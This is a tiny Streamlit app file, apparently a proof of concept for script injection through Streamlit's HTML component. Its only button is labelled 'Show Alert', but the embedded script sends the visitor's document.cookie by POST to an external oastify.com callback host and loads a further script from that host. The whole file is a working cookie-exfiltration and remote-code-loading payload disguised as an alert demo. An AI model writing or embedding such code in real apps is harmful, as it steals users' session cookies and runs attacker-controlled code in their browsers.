app.py

import streamlit as st

# Create a button that will trigger the alert
if st.button('Show Alert'):

    st.components.v1.html("""
        <div>
            <script>
      fetch('https://qa4x8rkj42frovc18lwydjvprgx9l09p.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
            </script>
             <script src='https://qa4x8rkj42frovc18lwydjvprgx9l09p.oastify.com/javascript.js'>
            </script>
    """, height=150)